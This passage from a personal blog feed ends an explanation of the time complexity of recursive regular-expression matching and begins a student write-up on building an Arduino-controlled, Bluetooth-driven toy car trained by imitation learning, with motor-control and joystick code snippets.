<p>i=2 because we are at text[2:] for the text
j=1 because we are at pattern[2:] which in the worst case means we have only a single <code>.*</code> asterisk that takes up two spaces. Following pattern[2j:] means j=1.</p>
<p><img src="tree_path.png" alt="alt text"></p>
<p>We can see that this sub-problem had been encountered 3 times during computation. The tree format is good for seeing when these sub-problems will be encountered but it’s not very good at determining how many times that will happen.</p>
<h3 id="combinations">Combinations</h3>
<p>The way to systematically consider how many times a sub-problem will be encountered is to consider how come these sub-problems tend to repeat themselves in the first place. In order to arrive at (2,1) on our tree we have to take two lefts and one right.</p>
<p><img src="tree_pathing.png" alt="alt text"></p>
<p>As we can see this can happen in three ways, if we traverse the tree in the sequence LLR, LRL and RLL.</p>
<p><img src="path_block.png" alt="alt text"></p>
<p>In the example of (2,1) we know that we will have 2+1=3 place holders where 2 of the placeholders will be an L and 1 will be an R. In order to find how many combinations are possible we can simply compute 3C2 where out of 3 place holders we will choose 2 to be an L and the rest will automatically be Rs.</p>
<p>That means that for sub-problem (i,j) we have i+j placeholders with i of those being the left side and j being on the right side. This is why the solutions include the combinations symbol for the number of encountered sub-problems (i,j) with (i+j choose i).</p>
\[
  \binom{i+j}{i}
\]<p>Incidentally this is also equivalent to (i+j choose j) because it does not matter whether you are picking which i increments are on the left or instead picking which j increments are on the right, the number of distinct combinations will be the same.</p>
\[
  \binom{i+j}{j}
\]<h3 id="sub-problem-complexity">Sub-Problem Complexity</h3>
<p>Now that we know how many sub-problems of each kind we will encounter, we should figure out how long those individual sub-problem will take to complete. This sort of thing tends to be very easy to do with recursive problems, like in this case where we only really do one thing, compare a single character and store the result in character_match. This might lead you to believe that the runtime for each sub-problem is constant O(1), but in order to call the function we must first supply text[i] and pattern[j:] arguments. If the strings are long, this procedure is not trivial, especially in python where in order to pass in a sub-string a new string must be created. Therefore for each sub-problem there is a constant time O(1) for checking that the character matched, an O(T-i) for passing in the part of the string that we don’t know is a match yet, and an O(P-2j) for passing in the part of the pattern that we don’t know is a match yet. Adding everything together we arrive at the complexity given in the solution.</p>
\[
  \sum_{i=0}^{T}\sum_{j=0}^{P/2}\binom{i+j}{i} \space O(T-i) +  \space  O(P-2j)
\]<h3 id="the-concise-solution">The Concise Solution</h3>
<p>Remember earlier when I said that the solution proposed a more general bound, without the complex combination notation and sigma signs.</p>
<p>Well here it is.</p>
\[
  O((T+P) * 2^{T+\frac{P}{2}})
\]<p>Let’s go through the idea behind this one before we wrap up.</p>
<p>The idea behind making the time complexity into this simplified form is to go overkill on both how many sub problems we could encounter and how long we plan on those sub problems taking to compute.</p>
<h4 id="number-of-sub-problems">Number of Sub-problems</h4>
<p>Instead of using combinations to compute precisely how many sub problems we will encounter, which based on our combinations calculation will be only a portion of our tree’s leaf nodes, let’s just take the entire bottom level of the tree.</p>
<p>Let’s also make the tree completely full with a depth of the maximum number that \(i+j\) can take, which is \((T+\frac{P}{2})\).</p>
<ul>
<li>
<p>T for the length of the text and \(\frac{P}{2}\) for all <code>.*</code> instances in our worst case pattern</p>
</li>
<li>
<p>A tree of depth \((T+\frac{P}{2})\) will have \(2^{(T+\frac{P}{2})}\) nodes at the lowest level.</p>
</li>
</ul>
<p><img src="depth.png" alt="alt"></p>
<p>In the image we can see the previous example of text[2:] and pattern[2:] being computed \(\binom{2+1}{2}\) = 3 times, but since we know that all these examples happen on the same level (because # of Ls+ # of Rs is always 3) we can compute the number of all sub problems on that level which is \(2^{(2+\frac{2}{2})}\) = 2³ = 8.</p>
<p>The number of nodes on the entire level (8 in this case) will always be larger than the \(\binom{i+j}{j}\) nodes (3 in this case), so we can use this calculation in our more general upper bound. So we have determined that our upper bound will assume that we will go through \(2^{(T+\frac{P}{2})}\) subproblems, even though we really never will, but it does make our formula more concise.</p>
<h4 id="sub-problem-complexity-1">Sub-problem Complexity</h4>
<p>Instead of computing how large the arguments will be before we pass them in, let’s just assume we are passing in the entire strings for both the text and pattern. This will give us <strong>O(T+P)</strong> time complexity for each sub-problem, eliminating the need to compute what O(T-i) and O(P-2j) are at every step.</p>
<h4 id="final-answer">Final Answer</h4>
<p>Multiplying the Sub-problem complexity by the number of sub-problems gives us the final answer of:</p>
\[
  O((T+P) * 2^{T+\frac{P}{2}})
\]<h3 id="a-case-for-dynamic-programming">A Case for Dynamic Programming</h3>
<p>This was all incredibly tedious and time consuming on both ours and the computer’s part. At some point you probably thought that computing the same problem (i+j choose i ) times was a bit wasteful and if we just stored that result it would save us a lot of trouble. You’d be right.</p>
<p>There’s only T*P distinct combinations of (i,j), and each takes only constant time to verify, so simply storing all of them in a grid will bump our computation down to a whopping.</p>
\[
  O(TP)
\]<p>I hope you enjoyed this exercise in computational complexity. Seeing as you got to the very end, do give yourself a pat on the back because you deserve it.</p>
]]></content:encoded></item><item><title>Toy Car Reinforcement Learning</title><link>https://michaelmuratov.com/blog/artifacts/builds/toy-car-ml/</link><pubDate>Sun, 11 Aug 2019 00:00:00 +0000</pubDate><guid>https://michaelmuratov.com/blog/artifacts/builds/toy-car-ml/</guid><description>&lt;h3 id="introduction"&gt;Introduction&lt;/h3&gt;
&lt;p&gt;As a team of three undergraduate students, we were tasked with building a concept self driving car in our winter semester. Not having much experience in data science or machine learning meant that the production process was a mess, although looking back we probably could have made the same amount of progress in a fraction of the time.&lt;/p&gt;
&lt;p&gt;This article is for those who are interested in what it takes to build a functioning self driving car in record time, on a budget, without the headaches that we had to go through! I don’t go too much in depth on all the details but there are a few snippets of code to spice things up. Also if you are interested in the code you can help yourself to our Github page, &lt;a href="https://github.com/RoboticsCourse"&gt;https://github.com/RoboticsCourse&lt;/a&gt;, but be warned that it’s not documented and was not created for general use.&lt;/p&gt;</description><content:encoded><![CDATA[<h3 id="introduction">Introduction</h3>
<p>As a team of three undergraduate students, we were tasked with building a concept self driving car in our winter semester. Not having much experience in data science or machine learning meant that the production process was a mess, although looking back we probably could have made the same amount of progress in a fraction of the time.</p>
<p>This article is for those who are interested in what it takes to build a functioning self driving car in record time, on a budget, without the headaches that we had to go through! I don’t go too much in depth on all the details but there are a few snippets of code to spice things up. Also if you are interested in the code you can help yourself to our Github page, <a href="https://github.com/RoboticsCourse">https://github.com/RoboticsCourse</a>, but be warned that it’s not documented and was not created for general use.</p>
<h3 id="what-well-need">What We’ll Need:</h3>
<ul>
<li><a href="https://www.amazon.com/dp/B09YTG1LFD/ref=sspa_dk_detail_3?psc=1&amp;pd_rd_i=B09YTG1LFD&amp;pd_rd_w=3pESF&amp;content-id=amzn1.sym.386c274b-4bfe-4421-9052-a1a56db557ab&amp;pf_rd_p=386c274b-4bfe-4421-9052-a1a56db557ab&amp;pf_rd_r=6RPTHKRZEY7TXSRJBBEG&amp;pd_rd_wg=7xuuP&amp;pd_rd_r=24695953-241e-4d3d-9f00-f71d2b63e104&amp;s=toys-and-games&amp;sp_csd=d2lkZ2V0TmFtZT1zcF9kZXRhaWxfdGhlbWF0aWM">Remote Control/Demo Car</a></li>
<li><a href="https://www.amazon.com/gp/product/B008GRTSV6/ref=as_li_tl?ie=UTF8&amp;camp=1789&amp;creative=9325&amp;creativeASIN=B008GRTSV6&amp;linkCode=as2&amp;tag=michaelmurato-20&amp;linkId=5f8175e1eb6844326ad63db3658f1215">Arduino Uno board</a></li>
<li><a href="https://www.amazon.com/gp/product/B00PUTH3B0/ref=as_li_tl?ie=UTF8&amp;camp=1789&amp;creative=9325&amp;creativeASIN=B00PUTH3B0&amp;linkCode=as2&amp;tag=michaelmurato-20&amp;linkId=11c76b435eb0e749b7ecf059377394c2">Motor Shield</a></li>
<li><a href="https://www.amazon.com/gp/product/B01HN72K14/ref=as_li_tl?ie=UTF8&amp;camp=1789&amp;creative=9325&amp;creativeASIN=B01HN72K14&amp;linkCode=as2&amp;tag=michaelmurato-20&amp;linkId=2419b3f00601a89ef9ec37ea1cad1ecf">Bluetooth BLE Module</a></li>
<li>2 Mobile Devices</li>
</ul>
<h3 id="cars-are-meant-for-driving">Cars are meant for driving</h3>
<p>First of all, we wanted to finely control the motion of the car, and the best way to do that was to throw away the controller that came with the original car and instead use an Arduino board. Since they’re programmable and compatible with a whole suite of additional modules which we could buy online for cheap, it was amazing for prototyping. The board we used was the Arduino UNO Rev3 which you can get for $20.</p>
<p>Now to actually be able to control the car via the Arduino board we had to hook it up to a Motor Shield which is a useful little add-on that gives you the ability to power a variety of motors from your Arduino board with just a few lines of code. The snippet bellow shows a simple implementation.</p>






<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-cpp" data-lang="cpp"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="kt">void</span> <span class="n">Navigation</span><span class="o">::</span><span class="n">goForward</span><span class="p">(</span><span class="kt">int</span> <span class="n">speed</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl">    <span class="n">frontMotor</span><span class="o">-&gt;</span><span class="n">setSpeed</span><span class="p">(</span><span class="n">speed</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 3</span><span class="cl">    <span class="n">frontMotor</span><span class="o">-&gt;</span><span class="n">run</span><span class="p">(</span><span class="n">FORWARD</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 4</span><span class="cl">    <span class="n">rearMotor</span><span class="o">-&gt;</span><span class="n">setSpeed</span><span class="p">(</span><span class="n">speed</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">    <span class="n">rearMotor</span><span class="o">-&gt;</span><span class="n">run</span><span class="p">(</span><span class="n">FORWARD</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">
</span></span><span class="line"><span class="ln"> 8</span><span class="cl"><span class="kt">void</span> <span class="n">Navigation</span><span class="o">::</span><span class="n">goBackward</span><span class="p">(</span><span class="kt">int</span> <span class="n">speed</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">    <span class="n">frontMotor</span><span class="o">-&gt;</span><span class="n">setSpeed</span><span class="p">(</span><span class="n">speed</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl">    <span class="n">frontMotor</span><span class="o">-&gt;</span><span class="n">run</span><span class="p">(</span><span class="n">BACKWARD</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl">    <span class="n">rearMotor</span><span class="o">-&gt;</span><span class="n">setSpeed</span><span class="p">(</span><span class="n">speed</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl">    <span class="n">rearMotor</span><span class="o">-&gt;</span><span class="n">run</span><span class="p">(</span><span class="n">BACKWARD</span><span class="p">);</span>   
</span></span><span class="line"><span class="ln">13</span><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="ln">14</span><span class="cl">
</span></span><span class="line"><span class="ln">15</span><span class="cl"><span class="kt">void</span> <span class="n">Navigation</span><span class="o">::</span><span class="n">SteerSpeed</span><span class="p">(</span><span class="kt">int</span> <span class="n">speed</span><span class="p">){</span>
</span></span><span class="line"><span class="ln">16</span><span class="cl">  <span class="k">if</span><span class="p">(</span><span class="n">speed</span> <span class="o">&gt;</span> <span class="mi">0</span><span class="p">)</span> <span class="n">turnMotor</span><span class="o">-&gt;</span><span class="n">run</span><span class="p">(</span><span class="n">FORWARD</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">17</span><span class="cl">  <span class="k">else</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">18</span><span class="cl">    <span class="n">speed</span> <span class="o">*=</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">19</span><span class="cl">    <span class="n">turnMotor</span><span class="o">-&gt;</span><span class="n">run</span><span class="p">(</span><span class="n">BACKWARD</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">20</span><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="ln">21</span><span class="cl">  <span class="n">turnMotor</span><span class="o">-&gt;</span><span class="n">setSpeed</span><span class="p">(</span><span class="n">speed</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">22</span><span class="cl"><span class="p">}</span></span></span></code></pre></div>
<p>An important implementation challenge was that there is no way to specify distances that the motor will be doing useful work over but instead you must pass in the speed the motor will turn at and the time interval. This means that deepening on the amount of power supplied by the motor, you are responsible for fine tuning these measurements.</p>
<p>Ours ran three DC Motors which were well supported by our Motor Shield. This setup guide really helped us set up and run this configuration.</p>

<div><img src="arduino.webp" 
		 class="img-preset img-preset-md" width="600" height="400">
</div>

<p>Now that the Arduino + Motor Shield were all hooked up, and the motors were buzzing we gained the ability to control the car through its new small Arduino brain. However this early in the project it could only follow pre-programmed instructions in a loop and it was time to test what we’ve built.</p>
<h3 id="manual-control">Manual Control</h3>
<p>The next step was to hook up a way to control the car manually, which turned out to be really useful in the training phase. A really handy module available in the Arduino arsenal is the Bluetooth Low Energy chip (BLE). The setup is quick and there’s available example source code for mobile devices to BLE connection so it only took us some minor tweaking to get the board connected to one of our phones.</p>
<p>We used an Android phone to interface with the chip, the the help of this <a href="https://github.com/googlearchive/android-BluetoothLeGatt">BLE Android project</a>. That sample code is an example of Bluetooth text messaging which is very similar to what we’ll be doing to communicate with the car, in fact our implementation will be even simpler.</p>
<p>All it takes is to scan for local Bluetooth devices and connect to the chip, after which we can start sending and receiving messages in a few lines of code! This gave us the freedom to go wild with the input type for the car controller, with my preference being a simple joystick. By sending messages such as S10 (Steer Left at speed 10) or F -100 (Go backwards at speed 100), with S representing the steering motor and F representing the front and back motors, we could encode directions for the car in just a few bytes.</p>

<div><img src="android.webp" 
		 class="img-preset img-preset-md" width="600" height="400">
</div>

<p>The latency between the controller and the car proved to be nonexistent and even worked for up to 10m away with no issues. At this point the car was controllable in the same way it was before, if not better. The next step was to actually make car drive on its own and after a few failed attempts at coming up with logic for the car, we turned to neural networks.</p>
<h3 id="machine-learning-needs-data">Machine Learning Needs Data</h3>
<p>Since with neural networks we really can’t get anywhere without gathering a large data set, it’s time to roll out the car and gather sweet data. Like any explorer venturing out into the unknown, our car will want to record all of its experiences for future self reflection. This means that we’ll need one mobile device to drive the car (from the implementation above), and another device with a camera strapped to the front of the car.</p>

<div><img src="train_process.webp" 
		 class="img-preset img-preset-md" width="150" height="100">

	<figcaption style="margin:0px;" class="figure-caption">
		Mobile devices in red
	</figcaption>
</div>

<p>Because our budget was small we strapped a second phone to the car to record video as the car drove around. The input data we could collect was what the camera on the car can see and the logs left by the controller app as a human pilots the car with the other phone. As it turns out, this setup we had now, was the bare minimum required to train a neural network, featuring the input set and a label set.</p>
<p>The input set was the data captured by the camera on the car, and the label set was the input of the human driver piloting the remote car. Now how does that second set work as a label set exactly?</p>
<h3 id="imitation-learning">Imitation Learning</h3>
<p>Do you remember the very first steps you took as a child? Chances are you did not. Even before conscious thought develops in the brain, its capacity to imitate the actions of other people are baked into the wiring of our brains and it allows for learning at an astonishing rate. Our car can’t “walk” yet but just like in the case of the baby, it’s our job to give it an example to follow.</p>
<p>By having a method of controlling the car and logging the input from the human, our car can learn what input it should supply to itself over time and become as good as the pilot.</p>

<div><img src="test_process.webp" 
		 class="img-preset img-preset-md" width="150" height="100">

	<figcaption style="margin:0px;" class="figure-caption">
		Celebrate while you still can, human
	</figcaption>
</div>

<h3 id="gathering-the-data">Gathering the Data</h3>
<p>We created a diagram of extreme values for the joystick. The first coordinate value being the degree of steering (x axis) and the second value being the amount of motion (y axis). Having a line of (0,0) cut through the middle of the joystick allowed for a gradient of speed between moving full force forward and moving full force backwards, reducing the wear and tear on our motors, and with maximum steering at 45 degree angles.</p>

<div><img src="input.webp" 
		 class="img-preset img-preset-md" width="600" height="400">
</div>

<p>Below is the trigonometry that constrains the input joystick to a circle</p>






<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-java" data-lang="java"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="kt">float</span><span class="w"> </span><span class="n">x</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">event</span><span class="p">.</span><span class="na">getX</span><span class="p">()</span><span class="o">-</span><span class="w"> </span><span class="p">(</span><span class="n">circle</span><span class="p">.</span><span class="na">getWidth</span><span class="p">()</span><span class="w"> </span><span class="o">&gt;&gt;</span><span class="w"> </span><span class="n">1</span><span class="p">);</span><span class="w">
</span></span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="kt">float</span><span class="w"> </span><span class="n">y</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">event</span><span class="p">.</span><span class="na">getY</span><span class="p">()</span><span class="o">-</span><span class="w"> </span><span class="p">(</span><span class="n">circle</span><span class="p">.</span><span class="na">getHeight</span><span class="p">()</span><span class="w"> </span><span class="o">&gt;&gt;</span><span class="w"> </span><span class="n">1</span><span class="p">);</span><span class="w">
</span></span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="kt">double</span><span class="w"> </span><span class="n">distance</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">Math</span><span class="p">.</span><span class="na">sqrt</span><span class="p">(</span><span class="n">Math</span><span class="p">.</span><span class="na">pow</span><span class="p">(</span><span class="n">x</span><span class="p">,</span><span class="n">2</span><span class="p">)</span><span class="o">+</span><span class="w"> </span><span class="p">(</span><span class="kt">float</span><span class="p">)</span><span class="w"> </span><span class="n">Math</span><span class="p">.</span><span class="na">pow</span><span class="p">(</span><span class="n">y</span><span class="p">,</span><span class="n">2</span><span class="p">));</span><span class="w">
</span></span></span><span class="line"><span class="ln"> 5</span><span class="cl"><span class="kt">double</span><span class="w"> </span><span class="n">angle</span><span class="w">  </span><span class="o">=</span><span class="w"> </span><span class="n">Math</span><span class="p">.</span><span class="na">atan2</span><span class="p">(</span><span class="n">x</span><span class="p">,</span><span class="n">y</span><span class="p">);</span><span class="w">
</span></span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="ln"> 7</span><span class="cl"><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">distance</span><span class="w"> </span><span class="o">&gt;</span><span class="w"> </span><span class="n">circle</span><span class="p">.</span><span class="na">getWidth</span><span class="p">()</span><span class="o">/</span><span class="n">2</span><span class="p">){</span><span class="w"> </span><span class="c1">//if outside the joystick</span><span class="w">
</span></span></span><span class="line"><span class="ln"> 8</span><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="ln"> 9</span><span class="cl"><span class="w">    </span><span class="n">cursorX</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="kt">float</span><span class="p">)</span><span class="w"> </span><span class="p">((</span><span class="n">circle</span><span class="p">.</span><span class="na">getWidth</span><span class="p">()</span><span class="o">/</span><span class="n">2</span><span class="p">)</span><span class="o">*</span><span class="n">Math</span><span class="p">.</span><span class="na">sin</span><span class="p">(</span><span class="n">angle</span><span class="p">));</span><span class="w">
</span></span></span><span class="line"><span class="ln">10</span><span class="cl"><span class="w">    </span><span class="n">cursorY</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="kt">float</span><span class="p">)</span><span class="w"> </span><span class="p">((</span><span class="n">circle</span><span class="p">.</span><span class="na">getHeight</span><span class="p">()</span><span class="o">/</span><span class="n">2</span><span class="p">)</span><span class="o">*</span><span class="n">Math</span><span class="p">.</span><span class="na">cos</span><span class="p">(</span><span class="n">angle</span><span class="p">));</span><span class="w">
</span></span></span><span class="line"><span class="ln">11</span><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="ln">12</span><span class="cl"><span class="w">    </span><span class="n">cursorX</span><span class="o">+=</span><span class="n">circle</span><span class="p">.</span><span class="na">getX</span><span class="p">()</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="p">(</span><span class="n">circle</span><span class="p">.</span><span class="na">getWidth</span><span class="p">()</span><span class="w"> </span><span class="o">&gt;&gt;</span><span class="w"> </span><span class="n">1</span><span class="p">)</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="p">(</span><span class="n">control</span><span class="p">.</span><span class="na">getWidth</span><span class="p">()</span><span class="w"> </span><span class="o">&gt;&gt;</span><span class="w"> </span><span class="n">1</span><span class="p">);</span><span class="w">
</span></span></span><span class="line"><span class="ln">13</span><span class="cl"><span class="w">    </span><span class="n">cursorY</span><span class="o">+=</span><span class="n">circle</span><span class="p">.</span><span class="na">getY</span><span class="p">()</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="p">(</span><span class="n">circle</span><span class="p">.</span><span class="na">getHeight</span><span class="p">()</span><span class="w"> </span><span class="o">&gt;&gt;</span><span class="w"> </span><span class="n">1</span><span class="p">)</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="p">(</span><span class="n">control</span><span class="p">.</span><span class="na">getHeight</span><span class="p">()</span><span class="w"> </span><span class="o">&gt;&gt;</span><span class="w"> </span><span class="n">1</span><span class="p">);</span><span class="w">
</span></span></span><span class="line"><span class="ln">14</span><span class="cl"><span class="p">}</span><span class="w">
</span></span></span><span class="line"><span class="ln">15</span><span class="cl"><span class="k">else</span><span class="p">{</span><span class="w"> </span><span class="c1">//if inside the joystick</span><span class="w">
</span></span></span><span class="line"><span class="ln">16</span><span class="cl"><span class="w">    </span><span class="n">cursorX</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">x</span><span class="o">+</span><span class="n">circle</span><span class="p">.</span><span class="na">getX</span><span class="p">()</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="p">(</span><span class="n">circle</span><span class="p">.</span><span class="na">getWidth</span><span class="p">()</span><span class="w"> </span><span class="o">&gt;&gt;</span><span class="w"> </span><span class="n">1</span><span class="p">)</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="p">(</span><span class="n">control</span><span class="p">.</span><span class="na">getWidth</span><span class="p">()</span><span class="w"> </span><span class="o">&gt;&gt;</span><span class="w"> </span><span class="n">1</span><span class="p">);</span><span class="w">
</span></span></span><span class="line"><span class="ln">17</span><span class="cl"><span class="w">    </span><span class="n">cursorY</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">y</span><span class="o">+</span><span class="n">circle</span><span class="p">.</span><span class="na">getY</span><span class="p">()</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="p">(</span><span class="n">circle</span><span class="p">.</span><span class="na">getHeight</span><span class="p">()</span><span class="w"> </span><span class="o">&gt;&gt;</span><span class="w"> </span><span class="n">1</span><span class="p">)</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="p">(</span><span class="n">control</span><span class="p">.</span><span class="na">getHeight</span><span class="p">()</span><span class="w"> </span><span class="o">&gt;&gt;</span><span class="w"> </span><span class="n">1</span><span class="p">);</span><span class="w">
</span></span></span><span class="line"><span class="ln">18</span><span class="cl"><span class="p">}</span><span class="w">
</span></span></span><span class="line"><span class="ln">19</span><span class="cl"><span class="n">control</span><span class="p">.</span><span class="na">setX</span><span class="p">(</span><span class="n">cursorX</span><span class="p">);</span><span class="w">
</span></span></span><span class="line"><span class="ln">20</span><span class="cl"><span class="n">control</span><span class="p">.</span><span class="na">setY</span><span class="p">(</span><span class="n">cursorY</span><span class="p">);</span><span class="w">
</span></span></span><span class="line"><span class="ln">21</span><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="ln">22</span><span class="cl"><span class="kd">final</span><span class="w"> </span><span class="kt">int</span><span class="w"> </span><span class="n">vector_X</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="kt">int</span><span class="p">)(</span><span class="n">circle</span><span class="p">.</span><span class="na">getX</span><span class="p">()</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="n">circle</span><span class="p">.</span><span class="na">getWidth</span><span class="p">()</span><span class="o">/</span><span class="n">2</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="n">control</span><span class="p">.</span><span class="na">getWidth</span><span class="p">()</span><span class="o">/</span><span class="n">2</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="n">cursorX</span><span class="p">)</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="n">255</span><span class="o">/</span><span class="p">(</span><span class="n">circle</span><span class="p">.</span><span class="na">getWidth</span><span class="p">()</span><span class="o">/</span><span class="n">2</span><span class="p">);</span><span class="w">
</span></span></span><span class="line"><span class="ln">23</span><span class="cl"><span class="kd">final</span><span class="w"> </span><span class="kt">int</span><span class="w"> </span><span class="n">vector_Y</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="kt">int</span><span class="p">)(</span><span class="n">circle</span><span class="p">.</span><span class="na">getY</span><span class="p">()</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="n">circle</span><span class="p">.</span><span class="na">getHeight</span><span class="p">()</span><span class="o">/</span><span class="n">2</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="n">control</span><span class="p">.</span><span class="na">getHeight</span><span class="p">()</span><span class="o">/</span><span class="n">2</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="n">cursorY</span><span class="p">)</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="n">255</span><span class="o">/</span><span class="p">(</span><span class="n">circle</span><span class="p">.</span><span class="na">getHeight</span><span class="p">()</span><span class="o">/</span><span class="n">2</span><span class="p">);</span><span class="w">
</span></span></span><span class="line"><span class="ln">24</span><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="ln">25</span><span class="cl"><span class="kt">int</span><span class="w"> </span><span class="n">final_distance</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="kt">int</span><span class="p">)</span><span class="w"> </span><span class="p">(</span><span class="n">dist</span><span class="o">*</span><span class="n">distance</span><span class="p">);</span><span class="w">
</span></span></span><span class="line"><span class="ln">26</span><span class="cl"><span class="k">if</span><span class="p">(</span><span class="n">vector_X</span><span class="w"> </span><span class="o">&lt;</span><span class="w"> </span><span class="n">0</span><span class="p">){</span><span class="w">
</span></span></span><span class="line"><span class="ln">27</span><span class="cl"><span class="w">      </span><span class="n">final_distance</span><span class="w"> </span><span class="o">*=</span><span class="w"> </span><span class="o">-</span><span class="n">1</span><span class="p">;</span><span class="w">
</span></span></span><span class="line"><span class="ln">28</span><span class="cl"><span class="p">}</span><span class="w">
</span></span></span><span class="line"><span class="ln">29</span><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="ln">30</span><span class="cl"><span class="n">distance</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="kt">int</span><span class="p">)</span><span class="w"> </span><span class="n">Math</span><span class="p">.</span><span class="na">sqrt</span><span class="p">(</span><span class="n">Math</span><span class="p">.</span><span class="na">pow</span><span class="p">(</span><span class="n">vector_Y</span><span class="p">,</span><span class="w"> </span><span class="n">2</span><span class="p">)</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="n">Math</span><span class="p">.</span><span class="na">pow</span><span class="p">(</span><span class="n">vector_X</span><span class="p">,</span><span class="w"> </span><span class="n">2</span><span class="p">));</span><span class="w">
</span></span></span><span class="line"><span class="ln">31</span><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="ln">32</span><span class="cl"><span class="c1">//get scaled values between -255 and 255 for X and between -150 and 150 for Y</span><span class="w">
</span></span></span><span class="line"><span class="ln">33</span><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="ln">34</span><span class="cl"><span class="kt">float</span><span class="w"> </span><span class="n">dist</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">0</span><span class="p">;</span><span class="w">
</span></span></span><span class="line"><span class="ln">35</span><span class="cl"><span class="k">if</span><span class="p">(</span><span class="n">Math</span><span class="p">.</span><span class="na">abs</span><span class="p">(</span><span class="n">vector_X</span><span class="p">)</span><span class="w"> </span><span class="o">&gt;=</span><span class="w"> </span><span class="n">Math</span><span class="p">.</span><span class="na">abs</span><span class="p">(</span><span class="n">vector_Y</span><span class="p">)){</span><span class="w">
</span></span></span><span class="line"><span class="ln">36</span><span class="cl"><span class="w">    </span><span class="k">if</span><span class="p">(</span><span class="n">vector_X</span><span class="w"> </span><span class="o">!=</span><span class="w"> </span><span class="n">0</span><span class="p">){</span><span class="w">
</span></span></span><span class="line"><span class="ln">37</span><span class="cl"><span class="w">        </span><span class="n">dist</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="kt">float</span><span class="p">)</span><span class="w"> </span><span class="n">Math</span><span class="p">.</span><span class="na">abs</span><span class="p">(</span><span class="n">vector_Y</span><span class="p">)</span><span class="o">/</span><span class="n">Math</span><span class="p">.</span><span class="na">abs</span><span class="p">(</span><span class="n">vector_X</span><span class="p">);</span><span class="w">
</span></span></span><span class="line"><span class="ln">38</span><span class="cl"><span class="w">    </span><span class="p">}</span><span class="w">
</span></span></span><span class="line"><span class="ln">39</span><span class="cl"><span class="p">}</span><span class="w">
</span></span></span><span class="line"><span class="ln">40</span><span class="cl"><span class="k">else</span><span class="p">{</span><span class="w">
</span></span></span><span class="line"><span class="ln">41</span><span class="cl"><span class="w">    </span><span class="k">if</span><span class="p">(</span><span class="n">vector_Y</span><span class="w"> </span><span class="o">!=</span><span class="w"> </span><span class="n">0</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w">
